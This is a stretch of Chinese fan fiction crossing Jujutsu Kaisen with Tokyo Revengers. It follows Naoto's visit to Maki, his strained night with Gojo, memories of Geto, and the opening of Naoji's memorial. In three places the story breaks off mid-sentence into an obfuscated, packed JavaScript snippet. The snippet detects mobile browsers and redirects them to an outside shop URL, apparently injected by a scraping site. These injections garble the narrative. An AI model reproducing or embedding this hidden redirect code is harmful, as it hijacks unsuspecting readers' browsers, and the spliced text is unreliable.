真希把包子拿在手里,迟迟没有吃。她看着直人,直人也看着她。 几秒后,她低下头,嘴唇微抿。很明显是有话想说。 一眼看出同期心思的熊猫三两口吃完包子,拍拍肚子:“那我们先回去啦!谢谢款待,直人哥!” 乙骨又朝直人欠了欠身,狗卷棘拉好衣领,说了句“鲑鱼”,三个人先后离开了。 解剖室的门刚一关上,刚刚还乖巧的三人立马叽叽喳喳闹开了,当然,主要是熊猫的声音。 在他们仨讨论出什么丢人的话之前,真希几步冲上去,拉开门对着走廊大吼:“吵死了!快滚回去睡觉!” “——是!” 直人看了眼依然在专心工作的硝子,转身走向真希。 真希回头看见直人,又不说话了。两个人一前一后走出解剖室,站在走廊上,直人反手带上门。 真希的三位同期已经跑走了,现在走廊只剩下他们两个。 真希看了眼直人还有些乱的头发和没拉平整的外套,问:“我们是不是打扰你休息了?” “没有。”直人说。 真希哦了一声,她别开脸看向熊猫他们消失的方向,又转回来看着直人说:“我那几个同期,挺烦人的对吧。刚才肯定在门外说些有的没的,吵得要死。” “没有。”直人笑了一下,重复。 真希抿了下嘴,她换了个语气,听起来试图轻松一点:“没想到你和硝子老师认识。” “她是我前辈。”直人答。 “这样。”真希点点头,又问,“你过来……是有要紧的事吗?” 不怪她这么问,因为以前她在禅院家的时候,直人很少离开京都。 “嗯。直贺哥的朋友想为他举行送别仪式,希望我出席。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的手在她肩头轻拍了一下。 “咒术师很辛苦吧。你没有咒力,这份工作对你来说太危险了。” 他顿了顿,看着真希的眼睛,担忧的神情是那样善解人意。 “你不想回家也没关系。可以和我去大阪,跟在我身边。” 真希僵住了。 她没有立刻挣开直人的手,但也没有靠过去。她的脑袋垂得更低了些,盯着自己的手,她把刚刚随手拿起的匕首攥得更紧了些。 “开什么玩笑。”她说,声音闷闷的,“跟你去大阪?做什么?” “做什么都可以。”直人的声音依旧平缓,“你想学什么,我就找人教你。你想做什么,我就帮你安排。至少比在这里安全。” “安全?”真希猛地抬起头,直直看向直人,“你觉得我来这里是为了找安全吗?” 她的声音提了起来,带着点尖锐,但很快又压下去,变回那种硬邦邦的语气:“我来这里是为了变强,我要凭借我的实力让禅院家的人都认可我。” “我要让他们承认,我不是废物。” “你当然不是废物。”直人说。 他在真希身侧半蹲下来,揽着真希肩膀的手将她带向自己挨着,他仰头看着她。 “当然了。”真希的声音稳了稳,重新变得中气十足,带着那种不可一世的笃定:“总有一天,我要成为禅院的家主。” 没有人接话,楼道彻底安静了。 37. 【三十一】 禅院直人和禅院直哉确实长着同一张脸。 真希再一次清楚地认识到这一点。 一时没有得到回应,真希转过头,正好对上直人的眼睛。 他眼皮半抬着,视线从下往上看向她,黑沉沉的,因为昏暗的光影看不见眼白。 走廊的声控灯正好在这个时候熄了,只有解剖室门缝里漏出的一点光,斜切在直人脸上,他嘴角的那点弧度变得很模糊。 连带着整张脸的轮廓,从额头到下巴,眉毛的弧度,鼻梁的起伏,嘴唇的形状——线条只剩下深浅两种区别。 是直哉的脸。 真希浑身汗毛倒竖,一口气卡在喉咙里,出不来,下不去。 她的手心濡湿发烫,空着的那只手悄悄向后,去贴冰凉的墙。 但直人只是看着她,没有露出讥诮、暴怒、傲慢或者其他任何情绪,他只是沉默地看着她,瞳孔黑得没底。 直哉脸上是不会有这种表情的。 可真希后背还是窜起一阵麻,她猛地移开视线,手指收拢,攥紧手里的匕首。 直人的手还搭在她肩头,没有用力,只是虚虚地放着。 真希总觉得下一秒钟,这只手就会突然收紧,指甲死死掐进她的皮肉,就像直哉惯常做的那样。 但她没动。 直人也没说话。 突然,灯又亮了。 直人嘴角的弧度和光影一起上扬,真希看清直人面上还是温和的笑的,她松了口气。 一阵欢快的脚步从走廊拐角处走出来。 是五条悟。 他冲他们招了招手,声音还是那样轻飘飘的:“哟,直人,真希!” 真希头一次觉得这个烦人的笨蛋眼罩来得正是时候。 她借机转身面向五条悟,提高音量去控诉他:“你这个混蛋,又把任务丢给我们就跑掉了!” “诶,人家只是给学生一个锻炼的机会嘛——” “少找借口!” 五条悟插科打诨地应付真希,但视线却落在真希身后的直人身上。 直人也看向他,缓缓起身。 直人很高,站起时他的影子一点点完全笼住了真希。他向前绕了半步,站在真希身旁,手臂从她身后虚虚半环住她,真希不自在地把没说完的话咽了回去。 直人身上传来很淡的熏香气,那股让她久违地感到安心的气味,但又有些让她紧张。 直人朝五条悟微一倾身:“悟君。” 五条悟随意地嗯哼了一声,单手插兜:“我是不是打扰你们兄妹俩说悄悄话了?真是抱歉。” 话虽这么说,但他还是笑嘻嘻的,看不出有几分真心的抱歉。 直人没有答话。 他侧过脸,俯身靠近真希耳边,声音很轻,但能让五条悟也听见:“悟君是很负责的老师,你没有术式,在高专更要多听老师的话。遇到什么事就找他,有他在,我很放心。” 真希听了,耳朵有点热,刚才那阵莫名的紧绷感散了大半。她别开脸,不耐烦地嘟囔了一句:“什么啊……这家伙明明就是个笨蛋老师。” 五条悟立刻接话,他反手指着自己,尾音上扬,理直气壮:“我当然是好老师了!” 他手抬起来正了正眼罩,两条长腿岔开站着,说起话来还是那副很自信的口吻:“我可是最强,就算是做老师也是最好的。所以—— 我的学生,我自然会保护好,我不会允许任何人伤害他们。” 最后半句话,五条悟的声音压得很稳,嘴角仍然带着放松的笑,视线隔着眼罩,有意无意地放在直人身上。 直人也看着他。 沉默持续了片刻,夹在他们中间的真希感到有些不安,她抬头去看直人。 几秒后,才听到直人很轻地笑了一声,他又朝五条悟倾了倾身:“那就多谢悟君了。” 气氛一下子松缓不少。 五条悟不在意地摆了摆手,他转向真希,语气浮夸地说:“还不去睡觉?明天第一节课可是悟老师的哦,一定不可以迟到啊。” 真希撇了下嘴,她看向直人,犹豫了一下,还是开口问:“直人哥,明天的……送别仪式,我能跟你一起去吗?” 直人摇了摇头,拒绝得很直接:“不用了。直贺哥的遗体已经送回京都安葬,这边只是立个碑。你专心训练就好,别耽误正事。” 五条悟站在一旁,只是听着,没插话,也没再看过来,他掏出手机,很忙碌地在屏幕上敲打。 真希垂下眼,嘴唇抿了抿,最后什么也没说。她又看了一眼五条悟和直人,低声道了别,转身要走。 “真希。”但是直人叫住她。 真希回过头。 直人朝她伸出手,掌心向上,语气平常:“匕首,还给我。” 真希一愣,随即低头看向自己手里的匕首,后知后觉她竟然还握在手里,顿时有点慌张,连忙解释:“这是直人哥的东西吗,我刚刚看——” 直人笑了下,手又往前递了递:“是硝子送给我的礼物。” 真希窘迫地把匕首的手柄放进直人手里,直人握住,手柄经真希攥了大半天,还是冰的。 他当着真希和五条悟的面,将匕首收进袖口暗袋,才又抬眼朝真希摆了摆手:“晚安,真希。” “……嗯,晚安,直人哥。” 真希点点头,一步三回头地走了。 这下只剩下五条悟和直人两个人。 等灯又要熄灭,五条悟关上手机揣回兜,他嘴唇一动,呼了一声,灯又亮起来,看向直人:“去我那儿?” 直人两手交握着垂在身前,没应声。 五条悟一边拉开解剖室的门,一边回头拖长音调和他说话:“硝子的沙发睡一晚上腰会断掉的。” 解剖室里硝子手底下的尸体已经换了一具,她点的外送搁在空床上,直人几乎没怎么吃,五条悟大摇大摆坐过去,往嘴里塞了两口。 “吃腻了。”他丢开勺子,点评。 直人也跟着进来,一声不吭地走回隔间,再出来的时候手上拎着行李。他把东西丢到五条悟手里,五条悟接过起身,和硝子打招呼: “走咯!” 硝子拉下口罩,看过来,冷淡地哦了一声。 “需要什么东西发line给我,我寄给你。”直人路过她的时候,在她身侧停下。 硝子想了一下,最后低下头,挥挥手里的手术刀:“你要是死了就把你的皮割下寄过来吧,我还挺喜欢你那只狐狸的。” 五条悟抖抖肩膀,做出恶寒的表情,声音发酸:“好残忍。” 反倒是直人笑了两声,他的笑声很生涩,好像对对此很生疏,甚至有些腼腆。 “人皮走不了物流,我会拜托五条转送的。” “哈,我可没有答应。” 没有人理会五条悟,直人和硝子道了别,走出了解剖室。 直人和五条悟并肩行走在走廊,两人之间隔着一臂的距离。五条悟的步子很轻盈,头发一晃一晃地颤动,他嘴里哼着不知道哪里听来的小调,但步伐始终和直人保持在同一水平线。 直人只是静静听着,他对唱歌并不擅长,也不感兴趣,只十来岁无聊的时候跟着藤子学过跳女舞,但很快被直哉喝止,他骂直人净做些女人才会做的事。 五条悟的房间还是以前读书时候那间,推门进去,却比以前空旷干净了不少,只有几样大件家具。 五条悟开了灯,把直人的东西随手一扔,他迈开腿几步坐到地毯上,开始招呼起直人这个客人:“把冰箱里的大福拿给我。” 直人关上房间门,找到冰箱打开,拿出里面的大福,余光看见摆了一排的苏打水,顺手抽了一瓶。 他把大福放在五条悟面前的圆桌上,也盘腿在旁边坐下,扯过床上的毯子盖在膝盖上,拧开苏打水喝了一口。 五条悟没看直人,自顾自吃完大福,舔掉指尖沾的奶油,抽了张纸巾擦嘴。他把用过的纸巾团成球,随手往墙角一丢,正好命中垃圾桶。 他这才伸手拿过直人放在桌上的苏打水,拧开喝了一大口。细微的甜味在喉咙里细细密密地泛开,他满足地叹了口气,把瓶子搁回桌上,发出“咚”一声轻响。 “所以,”五条悟身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887278|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体向后靠,胳膊搭在屈起的膝盖上,终于转向直人,“大老远跑过来,就为了来见真希?” “直贺的几个朋友想给他办个送别仪式。”直人侧过脸看他,说,“请我出席。” “哦——”五条悟拖长尾音,像是才想起来,“那个倒霉蛋啊。” 他顿了顿,嘴角翘起来,声音里带着点漫不经心的感慨:“你还真愿意为这种事专门跑一趟,这算什么,良心未泯?” 直人不吭声。 房间里的挂钟秒针一格一格往前走,声音在寂静里被放大。 “大阪那边,”五条悟忽然开口,声音比刚才低了些,“应该挺忙的吧?” “你们家那摊子烂账,够你折腾一阵子了。”五条悟继续说,语气随意得像在聊天气,“难波市场那么大,商户又多,账目一笔一笔对下来……啧,想想都头疼。” 他歪了歪头,眼罩后的视线不知落在哪里。 “应该没空经常往这边跑才对。”五条悟说,“毕竟也挺辛苦的。” 直人动了动。他坐直身体,手搭在膝盖上,眼睛看向五条悟,声音很轻:“你是在提防我吗?” 五条悟笑了。 他的嘴角很实在地向上弯,露出一点牙齿,喉咙里滚出短促的气音。 “怎么会。”他笑着说,“这是因为我清楚你的能力和效率啊,直人。” 他说得很有深意。 直人盯着他看了几秒,然后扯了扯嘴角,笑声从鼻腔里冷哼出来。 房间里又安静下来。 五条悟换了个姿势。 他把腿伸直,交叠着搭在矮桌上,双手枕在脑后,仰头看着天花板,他的下颌线和喉结的线条完全露出来,在灯光下显得清晰,时不时滚动一下。 “真希不可以。” 他突然说,声音不大,但每个字都咬得很清楚。 直人的睫毛颤了一下。 “我的学生都不可以。”五条悟继续说,语气平静,甚至算得上温和,“你应该明白我的意思,直人。” “我已经劝过你很多次了,直人。” 直人沉默了很久。 久到五条悟以为他不会回答的时候,他才开口,声音压得很低,带着点涩:“她是我的妹妹,她生下来,第一个抱她的人就是我。” “惠子夫人营养不好,没有奶水,她喝的第一口奶也是我拿着奶瓶喂给她的。” 五条悟没说话。 他放下胳膊,脸很清楚地看向直人的袖口。 那里放着那把匕首,用直贺的骨灰做的。 五条悟的视线在那处停留了两秒,然后重新移回天花板。 直人不再说话了。 他低下头,看着自己交握的双手。眼睑垂下来,挡住大半的眼神。 “……你何必这样对我。” 不知道过了多久,直人歪头重新看向五条悟,声音轻得几乎听不见。他的睫毛垂着,眼眶有点红,但表情还是平静的。 “你之前不许我接触惠,”他说,每个字都说得慢,像在斟酌,“我这不也一直听你的吗。” 五条悟终于动了。 他把腿从桌上收回来,坐直身体,转向直人。看向直人的还是那条漆黑的眼罩,露出的下半张脸五官俊美,但没什么表情。 他看了直人很久。 然后,他忽然笑了。 “那我当年解决的,那八个来暗杀惠的诅咒师……”五条悟比出一个数字八的手势举到直人跟前,慢悠悠地问:“是怎么回事?” 他顿了顿,身体向前倾,胳膊撑在膝盖上,拉近和直人的距离。 “算是你给我冲的业绩?” “……” 直人闭上嘴,转过脸不再看五条悟。 下一秒他起身,把身上的毛毯踹到一边,边脱衣服边往浴室走。 五条悟刚要吹口哨,直人就砰的一声甩上了浴室门。 等五条悟洗完澡出来,直人已经盖上被子,躺在床的正中间。五条悟正要上床,直人一脚蹬在他小腹,声音毫无起伏: “自己打地铺。” 38. 【三十二】 直人躺在床上,五条悟躺在床边地板上,很安静,只有两个人浅淡呼吸的声音。 窗外的天还是黑的,再过两三个小时就该亮了,但直人还是睡不着。 他睁着眼,看着天花板,有一瞬间想起以前在高专的时候。 他和夏油杰确定交往后,两个人一直睡在一起。校舍的床不算大,挤两个人刚好。 但是五条悟不高兴了。 他连着几次抱着游戏机来敲门,都被关在外面。他气得用脚踹门,说杰偏心。最后索性从阳台翻进来,非要挤到直人和夏油杰中间睡。 夏油杰睡在外沿,半夜翻身差点滚下去。好不容易往里靠点,五条悟又一脚踹他腰上。反复几次,夏油杰脸色发青,五条悟才勉强同意打地铺。 但是他理所当然地认为,睡在地上的应该是夏油杰。 “老子才不要睡地上,又硬又冷。” 五条悟跳起来,夏油杰的床不堪重负地吱呀一声。 “干什么这么看老子,”五条指着徒留一个背影,面无表情面向墙壁的直人说道:“老子愿意和他挤在一张床上已经是最大的让步了。” 夏油杰光脚站在地板上,沉默良久后轻笑,他将披散着的头发重新扎起来,拇指向后点了点门口,声音柔和:“出去聊聊吧,悟。” 为了挽救岌岌可危的校舍,也为了三人不至于被夜蛾赶出校门,最后是直人从床上爬起来,他去隔壁自己房间抱了更厚的被褥,给地板上铺了很厚几层,五条悟才不情不愿地躺上去。 但是一整晚,他都在叹气。 他在地板上翻来覆去,故意折腾得咚咚作响。第二天逢人就说自己腰酸背痛,杰和直人合伙欺负他,让他只能睡地板。 五条悟就是这么个很娇气的人,稍不顺心就能闹个不停。 直人烦他烦得要死。 那时候夏油杰和五条悟还动不动去操场“切磋”,但每次夏油杰回来都一身是伤,还偏说不痛。 “悟只是有点像小孩子,下手不知道轻重而已,没关系的。” 夏油杰坐在硝子旁边,硝子的手在给他用反转术式治疗。脸上的红肿看着就很痛,但他还是扯起嘴角对直人笑。 满头是包的五条悟坐在硝子另一边,拉着脸生闷气,这下倒是没有龇牙咧嘴喊疼。 后来直人差点被夏油杰捅死。是五条悟背着他,一路飞奔回高专找硝子。 直人在高专躺了一个月,直哉不能一直待在这里陪他。直哉不在的时候,五条悟就非要挤到直人房间,说万一夏油杰半夜又冲回来把他杀了怎么办。 那他和硝子算是白忙活了。 这次他很自觉地打了地铺。但晚上还是照样翻来覆去,唉声叹气。 要不是看在他救了自己的命,直人恨不得半夜拿枕头把他捂死。 连着几晚上直人实在忍不了了,他猛地从床上起身,胸口的伤还在疼,但他顾不上,一转眼看向床下,正好对上五条悟蓝得发亮的眼睛。 出乎意料的,不是那种幸灾乐祸的表情。 他只是静静地看着直人。 直人坐在床上,楞楞地和他四目相望。 半晌,他也坐起来,问直人是不是要喝水。 直人心想,他应该是很难过的。 他和杰是最要好的朋友。 虽然他很烦,很吵,说话也不好听,但他是杰最好的朋友。 直人在手术台上醒过来,从五条悟嘴里听到夏油杰叛逃的消息,直人心里很堵,他不知道那是什么,是伤心难过还是怨恨,他自己都不知道那是什么,或者又应该是什么。 直人从来算不上是个坚强的人。 这数个夜晚,每每回想起夏油杰,总有那么个瞬间他是想哭的。 从京都赶来的直哉对着他破口大骂的时候,他是想流泪的。 胸口的贯穿伤还在作痛的时候,他辗转反侧难以入睡的时候,他想把所有痛苦都倾泻出来,但张开嘴的时候,恨却没有声音。 想吐,又吐不出来。 但直人看见满脸疲惫,还硬装无事发生的五条的时候,所有情感好像又都消失了,他的心脏又回归到混沌无所感的状态。 直人心想,比他更难过的,是悟。 虽然五条很烦,很吵,说话也不好听,但他是杰最好的朋友。 虽然直人从来不懂所谓挚友是多么深的情意或者纠葛,但是他知道,他们或许是彼此心里最重要的。 “你们感情真好啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887279|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直人和夏油杰在新宿逛街,回去的时候他陪夏油杰给五条悟带他点名要的大福。他看着夏油杰熟稔地挑选五条悟喜欢的口味,难免有些吃味。 夏油杰愣了下,然后笑着点头,语气很笃定:“我和悟是挚友嘛。” “挚友?” 看着直人脸上的不情愿,夏油杰摸了摸后脑勺,和他解释:“就像你和直哉。虽然我和悟不是亲兄弟,但是我们就像亲兄弟一样亲。” 亲兄弟。 兄弟之间是不能□□的,于是直人接受了这个说法。 在他心里最重要的是直哉。所以,在夏油杰心里最重要的悟。 直人就是这样想的。 就像现在,没有咒力的他,被夏油杰毫不犹豫地抛弃掉了。但是,有着咒力的悟也同样被抛下了。 直人看着坐在地板上的五条悟,心里更多的成了怜悯。 我是不会离开直哉的,直哉也不会丢下我。你和夏油杰的感情,没有我和直哉的好。 你只是在夏油的心里,比我更重要一点而已。 “上来睡吧。”直人开口,“你白天还要去出任务,很辛苦。” 五条悟什么也没有说,也没有惊讶和犹豫,脸上也没露出得逞的表情。 他自然地上了直人的床,甚至没有拿上来他的被褥,他钻进了直人的被窝,和直人紧紧贴在一起。 挺好的,直人想,再也不用听他整晚整晚的叹气。 但是今晚,太安静了,静得连呼吸声都要没有了。 直人看着天花板,眼睛干得发涩。 五条悟一次也没有翻过身,直人疑心他是不是死了。就像他有时候半夜醒来,看见直哉笔直地躺着,他非要去探一下鼻息才能确认对方还活着那样。 直人侧过脸,只能依稀看见床边模糊隆起的人形。 他的手从被子里抽出来,慢慢坐起身,动作很轻,几乎没发出声音。 他弯下腰,想去看看五条悟死了没有。 但手要掀开被子的时候,动作又停住了。 五条悟是不会死的。 直人重新躺回去,拉高被子盖到下巴。他转过脸,面朝窗户的方向,闭上眼睛。 五条悟是最强,他是不会死的。 39. 【三十三】 第二天直人醒来的时候,身旁的地铺已经空了。 他坐起身,赤脚踩在五条悟睡过的被褥上,垫褥很薄,很凉,几乎和直接踩在地板上没有区别。 也亏他能睡一晚上。 不过直人转念一想,他有反转术式,就算不舒服也能很快恢复好。 他弯腰把被褥叠好,收进壁橱。 等洗漱完,他站在衣架前穿西装外套时,房门被拉开,五条悟正好回来,他身上穿着教师制服,手上拎了个纸袋。 “哟,终于醒了?”五条悟把纸袋放在桌上,里面是饭团和盒装牛奶,“学生们第一节课都下了哟。” 他靠在门框上看直人打领带,“今天需要悟大人陪你一起去吗?” 直人把领带结慢慢推到衬衫领口下方,动了动脖子。 “不用,我自己去。” 五条悟呀了一声,歪着头打量直人:“你的小跟班呢,独自行动可不是你的作风。” 直人没搭理他,对着镜子最后一次正了正衣领。 五条悟在旁边,把他从上到下,又从上到下看了几遍。 直人的确很少穿西式正装,剃短了的头发干净地露出后脖颈,挑染的额发喷了黑发喷雾。 但是他总觉得哪里不对劲。 直到直人后退两步,活动了一下臂膀,五条悟恍然大悟。 “这是我的衣服吧!”他跨步向前,用手去勾明显宽松的衣领,然后确定地大喊:“这就是我的衣服,你从哪里翻出来的?” 直人打开他的手,转身走到桌前拆开饭团,但五条悟还追着他说个不停:“我只有这一套黑西装,可是为出席葬礼特意买的!” 这套西装确实是好几年前特意定制的,但很新,五条悟总共没穿过几回。 因为是按他的身形量身做的,直人穿上肩线略微垮下去一点,腰身也有点空荡。 “你还需要在意这一两套衣服?”直人咬了口饭团,语气很平淡。 五条悟眉毛一扬,拖长了调子:“禅院家已经连一套正装的钱都出不起了?你还是趁早搬出来另立门户好了——我可以帮你找一份工作哦。” “我京都大学毕业的为什么要你一个高专生介绍工作。”直人冷漠地瞥了五条悟一眼,说:“我哥的裤子你买了没有?” “好伤人。”五条悟夸张地捂住自己胸口,见直人完全不买他的账,才缓缓起身,任性地说:“我才不想给我讨厌的人花一分钱。” “那怎么不见你光着去开会。” 直人把吃了一半的饭团丢回纸袋,拿起五条放在桌上的钱夹打开,把里面所有钞票都抽了出来,然后当着他面晃了晃:“我就喜欢花我讨厌的人的钱。” 五条悟诶了一声,懵懵地张开嘴,然后大笑出声,一副无可奈何的大少爷样子:“银行卡你也拿走好了,反正你都知道密码。” 直人没接话,他有些心烦地移开视线,把那叠钱丢在桌上后,垂下眼把吸管插进牛奶盒。 五条悟靠在墙边,安静地看了他一会儿,忽然又问:“真的不需要我陪你去?” 他往前走了两步,在直人对面盘腿坐下,手肘撑在桌沿,托着腮,嘴角翘起来一点。 “你要是求一求我,”五条悟的声音压低,带着点故意逗弄的意味,“我可以把今天的时间都花在你身上哦。” 直人抬起眼皮瞥了他一眼,没吭声。 就在这时候,门外传来急促的脚步声。 紧接着,房门被小心翼翼地敲响,伊地知洁高略显紧张的声音隔着门板传来:“五条先生?您在吗?窗那边传来紧急联络,新宿出现一级咒灵,需要您立刻前往确认——” 房间里的空气静了一瞬。 五条悟脸上那点开玩笑的神色瞬间垮了下去。他仰起头,冲着天花板大大地叹了口气,然后抬起手,重重地拍了一下自己的额头。 “啊——真是的——”他拖长声音抱怨,身体向后一倒,整个人瘫在地板上,“偏偏是这种时候……悟大人难得的善意就这么被糟蹋了……” 直人一副早知如此的表情,把没喝完的牛奶搁回桌面,抽出纸巾擦了擦嘴。然后站起身拿上行李,路过五条悟的时候踹了一脚他横在路中间的腿:“走吧。” 五条悟从地板上支起半边身子:“嗯?” “你不是要去新宿。”直人已经往门口走,“送我一程,顺路。” 五条悟愣了两秒,然后咧嘴笑起来。他一骨碌从地上爬起,拍了拍根本没沾上灰的裤子:“哎呀,我还以为你要陪我去呢,差点就要被感动到了。” “我可不想去送死。” “我可是最强的,有我在你死不了。” 直人闻言,正要开门的手顿了一下,他回头,五条悟还坐在地板上,他的一只手撩起眼罩,湛蓝的六眼看着直人。 他声音低沉,说这话的时候语速很慢,很认真。 直人沉默半晌,正要开口说点什么,露出来的那只眼睛飞快地眨了一下,给直人抛了个wink。 “怎么样,这样完美的脸蛋对你说出这样的话,是不是帅到你无法呼吸了?不知道多少少女会对你羡慕嫉妒恨哦,直人。” 还是那么轻浮。 “你还是赶紧去死比较好,五条。” “好狠的心。” 直人不再理会五条,径直开了门出去。 屋外的伊地知看到直人倒是没有多惊讶,他喊了声直人前辈,然后连忙偏头去看屋内,神色焦急:“五条先生——” “来了来了,别催。” 等上了车,两个人并排坐在后排,五条悟惬意地伸着腿,手机消息叮叮咚咚响个不停。他硬生生拖着等它响了一会儿,才掏出来挨个点开看。 直人也在回复手机上的未读。 五条悟的拇指在又一次长按删除一条高层发来的短信后,把手机丢到一边,手臂展开往后搭在靠背上,顺势揽住直人的肩膀。 他靠过去,脑袋枕着直人的脖颈,看直人的手机。 他没开无下限,头发挠在直人皮肤上很痒,直人抬了下下巴,把他头发捋开了点,眼睛还是盯着屏幕。 “我说,”半天没得到注意的五条悟伸出手,指尖在直人手机上点了两下,他声音懒洋洋的,带着点抱怨:“成年人的世界,还真是辛苦啊,什么时候才能休息一天呢——” 直人偏了下手机,把五条悟的手挡开,继续回复短信,声音平平:“日子又不是从成年了才苦起来的。” 五条悟侧过头,抬眼看着直人。 直人面上没有表情,只有眉头微皱,没有看他。 过了一会儿,没听到五条悟的动静,直人的视线才移到五条悟脸上,问:“你也还会累?” “你这话说的,”五条悟坐正身子,语气轻松:“我姑且也算个人吧。” 直人没接话。他拇指按着手机侧键,屏幕暗下去,映出他自己模糊的脸。他把手机揣回兜里,身体往后靠进座椅,眼睛望着车顶。 “累也没办法。”他说,声音很平,没什么起伏,“这样的日子,反正要一直这么过下去。也许等到……” 等到什么时候呢? 10岁的直人。 12岁的直人。 15岁的直人。 18岁的直人。 …… 乃至26岁的直人,在疲惫得要睁不开眼睛,脖颈的骨头已经长成下弯的形状,他们总是想,等到……就好了。 但到底是等到什么时候呢? 直人心想,等到—— “等到你哥当上家主?” 五条悟接过话头。 是的,就是这样,等到直哉当上家主——“然后你给他当一辈子保姆 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“那你不还是一样累。”直人说,“我以为我们是在聊怎么解决现状,结果你只是想拯救我?真伟大。” 五条悟短促地笑了声。 “行不通的。” 直人转回脸,看向窗外流动的街景,“你看,我离不开直哉,你也放不下你的学生和你的大义。我们这辈子只能这样了。” 伊地知握着方向盘,目光死死盯着前方路况。偶尔从后视镜和直人对上眼,又连忙避开装作什么也没听见。 五条悟不说话了。 他偏过头,脸转向自己那侧的车窗,好像在观察外面掠过的店铺和行人。直人看着他的后脑勺,白色的头发贴在车窗上,轻轻晃动。 “顺带一提,”直人忽然开口,声音不大,“你刚才那番话,听着很像要包养我。” 五条悟的肩膀僵直,他没回头,仍旧看着窗外,过了一会儿才用那种刻意轻松的语调反问:“不能算是求婚吗?” 直人沉默了两秒。 “求婚?”他重复了一遍,声音里听不出情绪,“你连一句‘喜欢’都没对我说过,现在直接跳到求婚。五条,你的步骤是不是跳得太快了。” 五条悟没再回应。 “你把我放在六本木的公寓,你自己算算你一个月能有几次机会从楼下路过,我和直哉尚且一个星期七天还能见五次呢。” 直人声音很冷,尾音上扬的奈良腔调带着点嘲讽的味道。 “我知道你们在想什么,五条,你们都知道自己太强了,所以肩上背负了拯救世界的重任,你们永远有迫不得已的理由,在权衡利弊之后只能选择放弃我。 而我的事都是我自找的烦恼,是我自己执迷不悟,只要我肯一脚踹开直哉,换个姓氏离开你们眼里的那个大粪坑,就能走上你们看来最正确的那条路。” 五条悟还是没看向直人,他的嘴角抹得很平,几次想插嘴,嘴唇张开后又徒劳地闭上。 前面开车的伊地知,已经掏出手帕擦了几次汗。直人看向他,温声提醒:“要是热,空调可以再调低点。” “是,我不要紧的,请不要管我!” 伊地知看向车载空调,抿紧嘴,上面显示着已经是最低温度。 直人的声音平缓下来,他垂眸面向前方,声音很轻:“他是我的兄弟。不是你们说的吗,双生子本身就是同一个人,而我是多余的累赘。可他姑且没有让我滚蛋,也没有责怪我的拖累。” “虽然他是个自私又刻薄的蠢货,哪怕在一万个人的性命和他自己的利益之间,做出选择的时间也绝对不会犹豫多一秒。” “但是我知道,只要他能当上家主,他就永远不会丢下我。既然如此,我又有什么资格提出要离开他。” 40. 【三十四】 场地圭介站在告别式的会场里,身上穿着昨天特意熨烫过的黑色西装。他很少穿正装,抬手的时候觉得拘束。 他松开一颗纽扣,又感到不妥,重新扣了回去。 会场不大,是租用的殡仪馆侧厅。 白色的花束沿着墙边摆了一圈,正前方的灵台上放着藤野贺的照片。照片里的直贺笑得很爽朗,头发比现在短些,是几年前刚认识时拍的。 场地抬起头,看了看墙上的挂钟。 仪式还有四十分钟开始。他确认了一遍花篮的摆放顺序,又检查了香炉和蜡烛。空气里有淡淡的线香味,混着菊花微苦的气味。 他的视线又一次扫过灵台,在掠过直贺的照片的时候停了一下。照片前站着个人。 是个僧人。 很年轻,穿着宽大的袈裟,没有剃发,黑色的长发在脑后松松地半扎,几缕碎发垂在脸侧。 他微微低着头,细长的眼睛半垂着,嘴角带着一点弧度。 看着很和善。 但场地皱了皱眉。 虽然相貌看起来很随和,周身也散发慈悲和善良的气息。 场地却觉得有点说不出的异样。 他说不上来具体哪里不对,但就是觉得这个僧人……有点奇怪。 灰谷兄弟之前提过,说他们请了盘星教的教主来念经。 本来没想请僧人,只是真一郎哥说虽然直贺哥的遗体不在,但也希望葬礼该有的流程都要有。 于是灰谷兄弟自告奋勇,说他们前段时间从俱乐部常来的客人那里,接触了不得了的宗教团体,那个教主帮他们解决过一些“不太干净”的问题,他们之前怀疑自己被鬼上身了。 场地圭介没太在意,他不信这些,更何况依他来看,灰谷兄弟好像永远都是浑浑噩噩、不知所云的状态,也不知道从哪里开始是鬼上身。 但他们说得很笃定,所以就按他们所说的来办了。 只是,场地没想到这位教主这么年轻,而且—— 僧人转过头,视线正好和场地对上。 他眼睛弯了弯,平淡的面容立马浮起了笑意,他朝场地点了点头。场地下意识地也点头回礼,正准备移开视线,僧人却已经迈步走了过来。 他的步子很稳,袈裟下摆随着动作轻轻晃动,却几乎没有发出声音。 “您好。”僧人在场地面前站定,微微欠身,声音温和,“鄙人夏油杰。受灰谷君之托,来为藤野君诵经。” 他身上带着若有若无的异香,很像……某种香水,和他这身袈裟搭起来,不伦不类。 场地圭介腹诽着,愣了一下,还是欠身回礼:“场地圭介。” 他起身,犹豫要不要伸手。 但主动前来搭话的夏油杰并没有这个意图,他轻轻后退一步,步态轻盈,下摆轻晃了一下。 